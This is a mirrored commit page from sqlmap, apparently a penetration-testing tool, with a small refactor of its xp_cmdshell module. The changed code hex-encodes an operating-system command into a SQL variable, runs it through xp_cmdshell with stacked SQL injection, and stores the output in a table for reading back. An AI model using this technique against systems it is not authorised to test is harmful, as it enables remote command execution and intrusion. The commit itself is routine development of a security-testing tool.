mirror of
				https://github.com/sqlmapproject/sqlmap.git
				synced 2025-10-29 23:17:36 +03:00 
			
		
		
		
	Some refactoring (reusing xpCmdshellForgeCmd)
This commit is contained in:
		
							parent
							
								
									8620767b77
								
							
						
					
					
						commit
						58f6687194
					
				|  | @ -141,11 +141,13 @@ class xp_cmdshell: | |||
|         if cmd: | ||||
|             self.xpCmdshellExecCmd(cmd) | ||||
| 
 | ||||
|     def xpCmdshellForgeCmd(self, cmd): | ||||
|     def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None): | ||||
|         self.__randStr = randomStr(lowercase=True) | ||||
|         self.__cmd = "0x%s" % hexencode(cmd) | ||||
|         self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr | ||||
|         self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd) | ||||
|         if insertIntoTable: | ||||
|             self.__forgedCmd += "INSERT INTO %s " % insertIntoTable | ||||
|         self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr) | ||||
| 
 | ||||
|         return agent.runAsDBMSUser(self.__forgedCmd) | ||||
|  | @ -169,7 +171,7 @@ class xp_cmdshell: | |||
| 
 | ||||
|                 output = new_output | ||||
|         else: | ||||
|             inject.goStacked("INSERT INTO %s EXEC %s '%s'" % (self.cmdTblName, self.xpCmdshellStr, cmd)) | ||||
|             inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName)) | ||||
|             output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False) | ||||
|             inject.goStacked("DELETE FROM %s" % self.cmdTblName) | ||||
| 
 | ||||
|  |  | |||
		Loading…
	
		Reference in New Issue
	
	Block a user